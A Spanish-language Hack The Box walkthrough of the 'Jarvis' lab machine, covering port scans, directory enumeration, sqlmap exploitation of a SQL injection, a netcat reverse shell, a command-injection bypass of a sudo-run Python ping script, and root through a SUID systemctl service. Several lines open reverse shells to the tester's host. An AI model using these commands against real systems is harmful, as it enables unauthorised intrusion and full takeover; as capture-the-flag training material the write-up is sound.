This page looks best with JavaScript enabled

Hack The Box - Jarvis

 •  ✍️ sckull

Al enumerar el sitio web descubrimos una vulnerabilidad SQL Injection y que con SQLmap obtuvimos una shell inversa. Mediante sudo y escapando un script en Python cambiamos al siguiente usuario. Los permisos de Systemctl permitió escalar privilegios creando un servicio nuevo.

Informacion de la Maquina

Nombre Jarvis box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.143
Maker

manulqwerty


Ghostpp7

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 6.8, 6.1, 3.9, 3.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Escaneo de puertos tcp/udp, version de servicio y script con nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@sckull:~/htb/jarvis# masscan -p1-65535,U:1-65535 10.10.10.143 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-06 09:51:52 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.143                                    
Discovered open port 64999/tcp on 10.10.10.143                                 
Discovered open port 22/tcp on 10.10.10.143

# Nmap 7.70 scan initiated Sat Jul  6 03:58:17 2019 as: nmap -sV -sC -p80,64999,22 -o nmap_scsvp.scan 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.083s latency).	

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  6 03:58:33 2019 -- 1 IP address (1 host up) scanned in 16.02 seconds

HTTP - Puerto 80

Realizamos un escaneo de archivos/directorios en la pagina web con DIRB.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Jul 25 15:30:40 2019
URL_BASE: http://10.10.10.143/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.143/ ----
==> DIRECTORY: http://10.10.10.143/css/                                                                                                               
==> DIRECTORY: http://10.10.10.143/fonts/                                                                                                             
==> DIRECTORY: http://10.10.10.143/images/                                                                                                            
+ http://10.10.10.143/index.php (CODE:200|SIZE:23628)                                                                                                 
==> DIRECTORY: http://10.10.10.143/js/                                                                                                                
==> DIRECTORY: http://10.10.10.143/phpmyadmin/                                                                                                        
+ http://10.10.10.143/server-status (CODE:403|SIZE:300)                                                                                               
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/ ----
+ http://10.10.10.143/phpmyadmin/ChangeLog (CODE:200|SIZE:19186)                                                                                      
==> DIRECTORY: http://10.10.10.143/phpmyadmin/doc/                                                                                                    
==> DIRECTORY: http://10.10.10.143/phpmyadmin/examples/                                                                                               
+ http://10.10.10.143/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)                                                                                    
+ http://10.10.10.143/phpmyadmin/index.php (CODE:200|SIZE:15211)                                                                                      
==> DIRECTORY: http://10.10.10.143/phpmyadmin/js/                                                                                                     
==> DIRECTORY: http://10.10.10.143/phpmyadmin/libraries/                                                                                              
+ http://10.10.10.143/phpmyadmin/LICENSE (CODE:200|SIZE:18092)                                                                                        
==> DIRECTORY: http://10.10.10.143/phpmyadmin/locale/                                                                                                 
+ http://10.10.10.143/phpmyadmin/phpinfo.php (CODE:200|SIZE:15215)                                                                                    
+ http://10.10.10.143/phpmyadmin/README (CODE:200|SIZE:1520)                                                                                          
+ http://10.10.10.143/phpmyadmin/robots.txt (CODE:200|SIZE:26)                                                                                        
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/                                                                                                  
==> DIRECTORY: http://10.10.10.143/phpmyadmin/sql/                                                                                                    
==> DIRECTORY: http://10.10.10.143/phpmyadmin/templates/                                                                                              
==> DIRECTORY: http://10.10.10.143/phpmyadmin/themes/                                                                                                 
==> DIRECTORY: http://10.10.10.143/phpmyadmin/tmp/                                                                                                    
==> DIRECTORY: http://10.10.10.143/phpmyadmin/vendor/                                                                                                 
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/doc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/examples/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/libraries/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/locale/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/ ----
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/frames/                                                                                           
+ http://10.10.10.143/phpmyadmin/setup/index.php (CODE:200|SIZE:10541)                                                                                
==> DIRECTORY: http://10.10.10.143/phpmyadmin/setup/lib/                                                                                              
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/sql/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/tmp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/frames/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                      
---- Entering directory: http://10.10.10.143/phpmyadmin/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Jul 25 16:38:46 2019
DOWNLOADED: 13836 - FOUND: 10

Encontramos un panel de administracion de phpmyadmin, al intentar ingresar con credenciales por default no fue posible.

SQLi

Realizamos una busqueda de vulnerabilidades dentro de la pagina web viendo parametros en urls, encontramos que en la pagina rooms se encuentra una vulnerabilidad de tipo sql injection.

1
http://supersecurehotel.htb/room.php?cod=1

Utilizamos sqlmap para poder explotar esta vulnerabilidad y encontramos distintas bases de datos.

SQLMAP

Dentro de las bases de datos que encontramos no vimos nada que pudiese ayudar a obtener acceso a la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sqlmap -u "10.10.10.143/room.php?cod=1" --dbs --batch

available databases [7]:                                                                                                                              
[*] etgkt
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
[*] secret
[*] test

SQLMAP - OS-SHELL

Utilizamos el parametro de sqlmap que nos devuelve una shell, en la cual podemos ejecutar comandos del sistema.

1
sqlmap -u "10.10.10.143/room.php?cod=1" --os-shell

Obtenemos una shell con el usuario www-data:

image

Para obtener una shell inversa creamos un archivo llamado shell.sh, configuramos un servidor con python y con la shell de sqlmap descargamos el archivo y lo ejecutamos.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.174 7878 >/tmp/f

image

Shell inversa:
image

Shell - Pepper

Enumeramos un poco el sistema y encontramos un script con el comando sudo -l -l, dicho archivo puede ser ejecutado por cualquier usuario con el comando sudo -u pepper ./simpler.py.

image

Al analizar el codigo del archivo encontramos que al pasarle el parametro ‘-p’ este ejecuta un ping sobre una IP que se le pasa, pero en la funcion no nos permite ejecutar un comando extra ademas de la IP que se le pasa.

1
2
3
4
5
6
7
8
def exec_ping():
    forbidden = ['&',';','-','`','||','|',]
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print 'Got you'
            exit()
    os.system('ping ' + command)

Para poder escapar los caracteres &,;,-,``,||,| vamos a utilizar una variable la cual va ejecutar nuestra shell inversa, esta ultima la creamos en el directorio /tmp:

1
nc -e /bin/bash 10.10.14.174 8989

Para obtener una shell con el usuario Pepper utilizamos los siguientes comandos, Ejecucion del script:

1
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p 

Parametro cuando nos lo pida:

1
"$(bash /tmp/x.sh)"

image

Obtenemos nuestra shell inversa y nuestra flag user.txt:
image

Ya que tenemos acceso al usuario Pepper agregamos nuestra llave publica a authorized_keys para poder ingresar mediante el servicio ssh.

PRIVILEGE ESCALATION

Realizamos una enumeracion de los archivos SUID en la maquina y encontramos /bin/systemctl.

image

Utilizamos la informacion que nos proporciona GTFObins.

Utilizamos los comandos:

1
TF=/tmp/priv.service;echo '[Service]' > $TF;echo 'Type=oneshot' >> $TF;echo 'ExecStart=/bin/sh -c "nc -e /bin/bash 10.10.14.174 1331"' >> $TF;echo '[Install]' >> $TF;echo 'WantedBy=multi-user.target' >> $TF
1
systemctl link $TF;systemctl enable --now $TF

image

Obtenemos una shell como usuario root y nuestra flag root.txt:

image

Flag:
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe